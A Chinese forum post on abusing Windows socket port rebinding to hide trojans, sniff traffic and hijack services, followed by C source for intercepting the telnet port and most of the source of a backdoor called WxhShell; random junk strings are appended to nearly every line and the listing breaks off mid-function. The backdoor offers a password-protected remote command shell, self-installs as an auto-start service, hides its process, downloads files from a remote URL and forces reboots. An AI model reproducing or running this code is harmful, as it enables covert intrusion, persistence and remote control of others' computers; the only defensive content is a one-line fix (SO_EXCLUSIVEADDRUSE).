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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [E~TYk;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cj#q7  
dZgfls  
  saddr.sin_family = AF_INET; 6 {Z\cwP)c  
x+e _pb   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yMkd|1  
s- V$N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,AM-cwwT:u  
lp UtNy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P.B'Gh#^  
]c2| m}I{:  
  这意味着什么?意味着可以进行如下的攻击: 1F,_L}=o1s  
y21uvp'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &zcj U+n  
Sh6Cw4 R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Vgn1I(Gj4  
ZRm\d3x4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bVHi3=0{  
|pR$' HO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [;AcV73  
\AzcW;03g[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 AyO|9!F@A  
BD-=y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K:@=W1  
I}IW!K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q)b?X ^  
QZox3LM1&.  
  #include >NA7,Z2.  
  #include NF!1)  
  #include r![JPhei  
  #include    n^02@Aw  
  DWORD WINAPI ClientThread(LPVOID lpParam);   - (}1o9e\7  
  int main() Z|% 2495\  
  { Y`?X Fy:  
  WORD wVersionRequested; zpqNmxmF  
  DWORD ret; # :w2Hf6Q  
  WSADATA wsaData; J6ShIPc  
  BOOL val; F:S>\wG,  
  SOCKADDR_IN saddr; mm-UQ\h  
  SOCKADDR_IN scaddr; ]/Qy1,  
  int err; MwqT`;lb  
  SOCKET s; veg!mY2&  
  SOCKET sc; /$,=>  
  int caddsize; D#1~]d  
  HANDLE mt; 1T,PC?vr{  
  DWORD tid;   _l=  
  wVersionRequested = MAKEWORD( 2, 2 ); UiZp -Y%ki  
  err = WSAStartup( wVersionRequested, &wsaData ); i(iP}: 3  
  if ( err != 0 ) { O f@#VZ  
  printf("error!WSAStartup failed!\n"); mS}x2 &  
  return -1; `j}d=zZ  
  } b|o!&9Yyr  
  saddr.sin_family = AF_INET; TeCpT2!5j  
   !gfhEz Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _C,@eu"9V  
f\U&M,L\ '  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /.YAFH|i)"  
  saddr.sin_port = htons(23); oImgj4C2L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AWXpA1(  
  { ?lN8~Ze  
  printf("error!socket failed!\n"); xcvr D  
  return -1; '#PqI)P  
  } "IS^a jaq  
  val = TRUE; jZT :-w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &MZy;Sq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cN lY=L  
  { M03i4R@h(  
  printf("error!setsockopt failed!\n"); )NmlV99q  
  return -1; poYAiq_3T  
  } <Iyot]E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DbU;jorwu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,]_(-tyN|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v#]v,C-*  
EQ63VF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xf"5<PTW</  
  { E+ 3yN\X(  
  ret=GetLastError(); Df:7P>  
  printf("error!bind failed!\n"); A a} o*  
  return -1; kefv=n*]l  
  } I#E(r>KW*  
  listen(s,2); l()MYuLNV  
  while(1) 2, "q_d'V  
  { ,,gLrV k  
  caddsize = sizeof(scaddr); N46$EsO!h  
  //接受连接请求 vd7N&c9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Gh[`q7B Q  
  if(sc!=INVALID_SOCKET) _OU.JrqC  
  { ;i9<y8Dha  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W({TC  
  if(mt==NULL) j-`X_8W  
  { ~J>gVg%66  
  printf("Thread Creat Failed!\n"); wYO"znd  
  break; b}Hl$V(uD  
  } }i7U}T  
  } Gk"L%Zt)  
  CloseHandle(mt); koEX4q  
  } UcLNMn|  
  closesocket(s); IgVo%)n  
  WSACleanup(); }pE~85h4M  
  return 0; G</I%qM  
  }   v V6Lp  
  DWORD WINAPI ClientThread(LPVOID lpParam) SU%rWH  
  { K+@eH#Cv,(  
  SOCKET ss = (SOCKET)lpParam;  Ep\  
  SOCKET sc; k/_8!^:'  
  unsigned char buf[4096]; |[owNV>  
  SOCKADDR_IN saddr; Uy59zB2|=  
  long num; e4=FU&RpNH  
  DWORD val; >PJtG]D  
  DWORD ret; 1 73<x){  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,d>X/kd|o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?7kV+{.  
  saddr.sin_family = AF_INET; of'ZNQ/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !q$&JZY  
  saddr.sin_port = htons(23); -e{)v'C)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) En,)}yI  
  { ^\[LrPq e  
  printf("error!socket failed!\n"); }xf='lE  
  return -1; nRXSW&V"m  
  } ..q63dr  
  val = 100; Le` /  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5&<d2EG6l'  
  { 3cCK"kr  
  ret = GetLastError(); @UpC{M--Wr  
  return -1; hk@`N;dn  
  } B]|6`UfB  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8{G?92 {rN  
  {  t$H':l0  
  ret = GetLastError(); C^/ -lc  
  return -1; X$-b oe?  
  } %]chL.s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2fzKdkJhe  
  { %R5Com  
  printf("error!socket connect failed!\n"); fys5-1@-p  
  closesocket(sc); y^ X\^Kq  
  closesocket(ss); XJmFJafQD  
  return -1; lHcZi  
  } WXLe,7y  
  while(1) &R'w-0k_  
  { 5>ADw3z'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /i{tS`[F2a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;V(H7 ZM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ){+[$@9  
  num = recv(ss,buf,4096,0); a IpPL8a  
  if(num>0) KbwTj*k[  
  send(sc,buf,num,0); m%oGzx+  
  else if(num==0) 2#AeN6\@  
  break; OB?SkR  
  num = recv(sc,buf,4096,0); kRN|TDx(  
  if(num>0) : F7k{~  
  send(ss,buf,num,0); b8N[."~:  
  else if(num==0) ).NcLJw_  
  break; CJ9cCtA  
  } %XJQ0CE<(  
  closesocket(ss); w.J%qWJq  
  closesocket(sc); +X:J]- 1)  
  return 0 ; K,eqD<  
  } 6_R\l@a  
_/,SZ-C#L4  
v)@,:u)  
========================================================== oe(9mYWKa6  
t1e4H=d>  
下边附上一个代码,,WXhSHELL 01LZE,.  
IjG5X[@  
========================================================== 1mJbQ#5  
_m9~*  
#include "stdafx.h" b:P\=k]8#  
x7 "z(rKl  
#include <stdio.h> X,RT<GNNb  
#include <string.h> (TEo_BW|+  
#include <windows.h> ${hyNt  
#include <winsock2.h> R9tckRG#  
#include <winsvc.h> O9t=lrYV!  
#include <urlmon.h> N@Xg5huO  
7fTxGm  
#pragma comment (lib, "Ws2_32.lib") 1@A7h$1P  
#pragma comment (lib, "urlmon.lib") cVQatm  
xi6 80'  
#define MAX_USER   100 // 最大客户端连接数 ^Sy^+=wK3  
#define BUF_SOCK   200 // sock buffer 29"mE;j  
#define KEY_BUFF   255 // 输入 buffer EHpu*P~W  
YXF#c)#  
#define REBOOT     0   // 重启 44|deE3Z  
#define SHUTDOWN   1   // 关机 2?GXkPF2;A  
bnijM/73  
#define DEF_PORT   5000 // 监听端口 wL'oImE  
94Xjz(  
#define REG_LEN     16   // 注册表键长度 9v~1We;{$  
#define SVC_LEN     80   // NT服务名长度 Bj@x$v#/^  
<fNGhmL  
// 从dll定义API %6AYCN?Ih  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UhsO\9}qH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0jBKCu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MWBXs7 5I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W`#gpi)7N  
RK?jtb=&A  
// wxhshell配置信息 xN6?yr  
struct WSCFG { It%T7 X#  
  int ws_port;         // 监听端口 $"Afy)Ir  
  char ws_passstr[REG_LEN]; // 口令 fO*)LPen.z  
  int ws_autoins;       // 安装标记, 1=yes 0=no " Wp   
  char ws_regname[REG_LEN]; // 注册表键名 hIR@^\?  
  char ws_svcname[REG_LEN]; // 服务名 qh%i5Mu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oG!6}5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~6p5H}'H1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6 |QTS|!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /sy-;JDnsu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~\2;i]|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ucw`;<d8  
7g-Dfg.w  
}; t-_#Q bzE{  
f, |QAj=a  
// default Wxhshell configuration MzcB3pi  
struct WSCFG wscfg={DEF_PORT, I$n+DwKcN  
    "xuhuanlingzhe", ^>-+@+( r  
    1, i wUv`>l&  
    "Wxhshell", PmHd9^C  
    "Wxhshell", ]de\i=?|  
            "WxhShell Service", FIH@2zA  
    "Wrsky Windows CmdShell Service", WPIZi[hBs  
    "Please Input Your Password: ", M3ZOk<O<R  
  1, Q\H_t)-  
  "http://www.wrsky.com/wxhshell.exe", v' C@jsx M  
  "Wxhshell.exe" +a-D#^ 2;  
    }; vyE{WkZxR  
5\WUoSgy  
// 消息定义模块 D>P;Izb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0}B?sNr  
char *msg_ws_prompt="\n\r? for help\n\r#>";  Q.yb4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *\D}eBd|  
char *msg_ws_ext="\n\rExit."; G(3;;F7"  
char *msg_ws_end="\n\rQuit."; )`^ /(YG  
char *msg_ws_boot="\n\rReboot..."; rR\;G2p)  
char *msg_ws_poff="\n\rShutdown..."; 6Z Xu,ks}  
char *msg_ws_down="\n\rSave to "; E$ {J  
p+$+MeBz  
char *msg_ws_err="\n\rErr!"; ?H`j>]%&  
char *msg_ws_ok="\n\rOK!"; {#N%Bq}  
E30Ln_^o  
char ExeFile[MAX_PATH]; d,UCH  
int nUser = 0; t ^m~  
HANDLE handles[MAX_USER]; >Co)2d]  
int OsIsNt; " CM ucK  
opXDm\  
SERVICE_STATUS       serviceStatus; "e@n:N!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (Izf L1  
%yfE7UPS]  
// 函数声明 Y3k[~A7X  
int Install(void); f~q4{  
int Uninstall(void); L"^OdpOs  
int DownloadFile(char *sURL, SOCKET wsh); 5Dd:r{{ Q  
int Boot(int flag); s"WBw'_<<  
void HideProc(void); $C u R}g  
int GetOsVer(void); w-ALCh8o  
int Wxhshell(SOCKET wsl); Fwb5u!_,  
void TalkWithClient(void *cs); ypl G18  
int CmdShell(SOCKET sock); D*QYKW=)  
int StartFromService(void); D^|9/qm$  
int StartWxhshell(LPSTR lpCmdLine); K3L"^a  
.%IslLZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gGEIK0\{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eeW`JG-E  
Kk=LXmL2  
// 数据结构和表定义 Yk'm?p#~  
SERVICE_TABLE_ENTRY DispatchTable[] = ywO mQcZ  
{ n}JPYu  
{wscfg.ws_svcname, NTServiceMain}, 9Sz7\W0  
{NULL, NULL} ALXTR%f  
}; TdFT];:  
b1xpz1  
// 自我安装 &))\2pl  
int Install(void) 0elxA8Z~e  
{ vQgq]mA?  
  char svExeFile[MAX_PATH]; BZ+;n |<r  
  HKEY key; 6Hk="$6K  
  strcpy(svExeFile,ExeFile); ~>g+2]Bn>$  
-9d%+O~v6~  
// 如果是win9x系统,修改注册表设为自启动 f}iU& 3S  
if(!OsIsNt) { dw9T f^V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hO3 {  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wo!;K|~P  
  RegCloseKey(key); u h )o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {n&Uf{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k3>YBf`fC  
  RegCloseKey(key); W:vr@e6  
  return 0; [9AM\n>g  
    } F?BS717qS%  
  } cDIBDC  
} 6e.[,-eU  
else { APq7 f8t  
E{% SR  
// 如果是NT以上系统,安装为系统服务 U*\17YU6h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); moZm0` WR  
if (schSCManager!=0) D"^'.DL@wG  
{ KP{3iUqvO  
  SC_HANDLE schService = CreateService y3JMbl[S0  
  ( Ac`;st%l.  
  schSCManager, T<yb#ak  
  wscfg.ws_svcname, KmmQ,e%  
  wscfg.ws_svcdisp, 4x=(Zw_X  
  SERVICE_ALL_ACCESS, ~KPv7WfG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X#`dWNrN  
  SERVICE_AUTO_START, C?o6(p"b  
  SERVICE_ERROR_NORMAL, )+EN$*H  
  svExeFile, 4MLH+/e  
  NULL, Oaa"T8t  
  NULL, 59lj7  
  NULL, sJU`u'w  
  NULL, vy9dAl  
  NULL ]iVLHVqz  
  ); Ur3m[07H  
  if (schService!=0) WbcS: !0  
  { 4TZ cc|B5  
  CloseServiceHandle(schService); 8:dQ._#v  
  CloseServiceHandle(schSCManager); 5FOqv=6S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p$XKlg&  
  strcat(svExeFile,wscfg.ws_svcname); a <wL#Id  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {v,)G)obWw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %\6Q .V#s  
  RegCloseKey(key); *yez:qnx  
  return 0; 9]7u _  
    } `]<`$71w  
  } FFvCi@oT  
  CloseServiceHandle(schSCManager); ^RNOcM|  
} zK;XF N#U^  
} O|'1B>X  
}r3~rG<D71  
return 1; K 1W].(-@4  
} !20X sO  
Bp_wnd  
// 自我卸载 H=~9CJ+tc  
int Uninstall(void) (MLhaux-  
{ >5ChcefH  
  HKEY key; s&Yi 6:J  
8ObeiVXf)  
if(!OsIsNt) {  f^b K=#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r*XLV{+4  
  RegDeleteValue(key,wscfg.ws_regname); N$#\Xdo  
  RegCloseKey(key); G%{0i20_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QJBr6   
  RegDeleteValue(key,wscfg.ws_regname); #*^+F?o,(  
  RegCloseKey(key); [po "To  
  return 0; ^+/kr/  
  } 2?DRLF]  
} {x@|VuL=  
} 5o 0Ch  
else { kbI/4IRW  
Ed-M7#wY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tSHFm-q`  
if (schSCManager!=0) 0xMj=3']  
{ @PSLs *  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w/m:{cHk  
  if (schService!=0) l,`!rF_  
  { ^4pto$#@O:  
  if(DeleteService(schService)!=0) { rx!=q8=0R  
  CloseServiceHandle(schService); y7lWeBnC  
  CloseServiceHandle(schSCManager); [TTSA2  
  return 0; a`c:`v2o  
  } $B .Qc!m  
  CloseServiceHandle(schService); go'j/4Tp  
  } /'wF2UR  
  CloseServiceHandle(schSCManager); ^jSsa  
} T@ YGB]*Y  
} h{'t5&yY  
[hh/1[   
return 1; /aqEJGG>  
} +%0z`E\?M#  
bS!\#f%9"  
// 从指定url下载文件 vjUp *R>h  
int DownloadFile(char *sURL, SOCKET wsh) ,6"l(]0  
{ ))T>jh   
  HRESULT hr;  $xgBKD  
char seps[]= "/"; p]T"|!d  
char *token; jvwwJ<K  
char *file; D E/:['  
char myURL[MAX_PATH]; E"PcrWB&  
char myFILE[MAX_PATH]; Xm!-~n@-m7  
nJFg^s 1  
strcpy(myURL,sURL); B[o`k]]  
  token=strtok(myURL,seps); QlZ@ To  
  while(token!=NULL) ^ c%N/V \  
  { T.:+3:8|F  
    file=token; osP\D iQ  
  token=strtok(NULL,seps); $l[Rh1z`;+  
  } ftbpqp'  
01@t~v3!Z  
GetCurrentDirectory(MAX_PATH,myFILE); md Gwh7/3  
strcat(myFILE, "\\"); 04@cLDX8uB  
strcat(myFILE, file); RHY4P4B<v>  
  send(wsh,myFILE,strlen(myFILE),0); 9 c3E+  
send(wsh,"...",3,0); AMCyj`Ur  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L>9R4:g  
  if(hr==S_OK) T)iW`vZg8  
return 0; S4o$t -9l  
else tkKJh !Q7  
return 1; {6Au3gt/  
rofNZ;nu  
} n.}T1q|l  
x3G:(YfO  
// 系统电源模块 8|g<X1H{M  
int Boot(int flag) dK9Zg,DZL  
{ ]0j9>s2|Z  
  HANDLE hToken; _}6q{}jn:c  
  TOKEN_PRIVILEGES tkp; E/b"RUv}h  
Gh( A%x)  
  if(OsIsNt) { ;0%OB*lcgE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  iThSt72  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _e<o7Y@_  
    tkp.PrivilegeCount = 1; ^+|De}`u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r,(Mu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8p^B hd  
if(flag==REBOOT) { +cu^%CXT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k!L@GQ  
  return 0; zTm]AG|0  
} ^A_;#vK  
else { {8RFK4! V@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B4H!5b  
  return 0; !nf-}z e{  
} t+Bf#:  
  } 8?FueAM'  
  else { FY3IUG  
if(flag==REBOOT) { qSU| =  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?h8{xa5b  
  return 0; 8{ c!).  
} [:EvTY  
else { ] ZoPQUS?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  $)~   
  return 0; ef"?|sn  
} I/J7rkf  
} sy5 Fn~\R  
?}P5p^6  
return 1; ^"8wUsP  
} Hf gz02Z$  
b7:0#l$  
// win9x进程隐藏模块 s][24)99  
void HideProc(void) X@A1#z+s0]  
{ %eWqQ3{P]  
}Fb!?['G5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4"?^UBr  
  if ( hKernel != NULL ) SX0_v_%M  
  { N@T.T=r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ed!>)Cb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V A^l+Z,d  
    FreeLibrary(hKernel); pW\'Z Rj  
  } )X+mV  
6QQfQ,  
return; qCQ./"8  
} 15\Ph[6g  
uZjC c M  
// 获取操作系统版本 c,\i"=!$  
int GetOsVer(void) ^eq</5q D  
{ 3,X/,'  
  OSVERSIONINFO winfo; :Ixx<9c.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9"{W,'r&d  
  GetVersionEx(&winfo); HfNDD| Zz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `TLzVB-j3  
  return 1; {tP%epQ  
  else B2=\2<  
  return 0; o2H1N~e#c  
} WN]<q`.  
' I}: !Z  
// 客户端句柄模块 J4$! 68  
int Wxhshell(SOCKET wsl) .^(/n9|o-  
{ +C]&2zc.  
  SOCKET wsh; v6(E3)J7  
  struct sockaddr_in client; 256LHY|6  
  DWORD myID; y2L#:[8  
}ut]\]b  
  while(nUser<MAX_USER) <U Zd;e@  
{ m` AK~O2  
  int nSize=sizeof(client); D=f7NVc>Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); : esg(  
  if(wsh==INVALID_SOCKET) return 1; z,SYw &S  
Aj>[z8!,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }GwVKAjP  
if(handles[nUser]==0) Ka!I`Yf  
  closesocket(wsh); I<oL}f  
else >`RRP}u=u  
  nUser++; 5N$E()m$  
  } yBpk$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eU+ {*YJg  
"8)z=n  
  return 0; f>jwN@(  
} +|cI:|H>  
h!@,8y[B  
// 关闭 socket JtKp(k&  
void CloseIt(SOCKET wsh) <i?a0  
{ g\fhp{gWB  
closesocket(wsh); ;!>Wz9  
nUser--; Xf'=+f2p  
ExitThread(0); `(y(w-:W1  
} p&p.Q^"ok  
 gJN0!N'  
// 客户端请求句柄 6rti '  
void TalkWithClient(void *cs) )KSoq/  
{ K+\nC)oG  
AEirj /  
  SOCKET wsh=(SOCKET)cs; 3L>IX8_   
  char pwd[SVC_LEN]; imB#Eo4eY  
  char cmd[KEY_BUFF]; K-vWa2  
char chr[1]; gwkb!#A  
int i,j; R{Z-m2La  
66&EBX}  
  while (nUser < MAX_USER) { >zvY\{WY  
IV16d  
if(wscfg.ws_passstr) { RSfM]w}Hq#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +ZsX*/TOn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ue:z1p;g  
  //ZeroMemory(pwd,KEY_BUFF); D |bBu  
      i=0; R"Liz3Vl%  
  while(i<SVC_LEN) { 's?Ai2=#  
Nt`b;X&  
  // 设置超时 S:Q! "U  
  fd_set FdRead; ~^I> #Dd  
  struct timeval TimeOut; >>Ar$  
  FD_ZERO(&FdRead); '1SG(0  
  FD_SET(wsh,&FdRead); }l0&a!C  
  TimeOut.tv_sec=8; | $^;wP  
  TimeOut.tv_usec=0; U 5w:"x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z$lF)r:Bc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CBT>"sYE1  
|f( ~@Q:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |k 2"_  
  pwd=chr[0]; CJknJn3m&  
  if(chr[0]==0xd || chr[0]==0xa) { I+ l%Sn#\  
  pwd=0; ^>&k]T`  
  break; NUJ~YWO;  
  } Wl"0m1G  
  i++; t G.(flW,  
    } m4w ') r~  
jn%kG ~]'Q  
  // 如果是非法用户,关闭 socket F!!N9VIC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o5o^TW{  
} w FtN+  
V\~WvV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oP?YA-#nc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OKOu`Hz@  
yoe}$f4  
while(1) { imL_lw^?  
b;mSQ4+  
  ZeroMemory(cmd,KEY_BUFF); mg:!4O$K  
iTo k[uJ}  
      // 自动支持客户端 telnet标准   `s#Hq\C  
  j=0; m`? MV\^  
  while(j<KEY_BUFF) { A1Y7;-D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2(!fg4#+  
  cmd[j]=chr[0]; KU9Z"9#  
  if(chr[0]==0xa || chr[0]==0xd) { Rf %HIAVE  
  cmd[j]=0; hjx)D  
  break; NtGn88='{  
  } cS .i  
  j++; E4.SF|=x  
    } Bvjl-$m!v  
F51.N{'  
  // 下载文件 C_fY %O  
  if(strstr(cmd,"http://")) { V,v[y\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hIv@i\`  
  if(DownloadFile(cmd,wsh)) ( n{wg(R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pI[ZBoR~  
  else \kam cA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )U<Y0bZA!  
  } )u ?' ;  
  else { I3S9Us-\  
?NNn:tiD  
    switch(cmd[0]) { ~3h-jK?  
  pY8q=Kl  
  // 帮助 JWP*>\P  
  case '?': { V:NI4dv/R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XJ0 {  
    break; FE7)E.U  
  } rEZ8eeB[3  
  // 安装 hv$yV%.`  
  case 'i': { m#H3:-h,  
    if(Install()) Ei>m0 ~<\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C_:k8?  
    else xvLn'8H.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HG >j5  
    break; wmr-}Y!9u%  
    } 4b]a&_-}  
  // 卸载 %~ |HFYd  
  case 'r': { `'_m\uo  
    if(Uninstall()) SU_SU".  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~q0*"\Ff  
    else `Kl`VP=c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a@d=>CT$  
    break; s Wjy6;  
    } ({}(qm  
  // 显示 wxhshell 所在路径 ewsKH\#  
  case 'p': { v0*N)eqDGd  
    char svExeFile[MAX_PATH]; s=I'e/"7  
    strcpy(svExeFile,"\n\r"); \g)Xt?w0Wo  
      strcat(svExeFile,ExeFile); RH;:9_*F  
        send(wsh,svExeFile,strlen(svExeFile),0); g\oSG)  
    break; 3#kitmV  
    } g\A y`.s  
  // 重启 YMpf+kN  
  case 'b': { \Xrw"\")j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w*j$uW6{  
    if(Boot(REBOOT)) >ndJNinV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '8FC<=+p[  
    else { v]:=K-1n  
    closesocket(wsh); }_.:+H!@  
    ExitThread(0); mZk0@C&:6  
    } 1m<RwI3s  
    break; qUF'{K   
    } eKZ%2|+j!7  
  // 关机 |w}w.%  
  case 'd': { 6`01EIk  
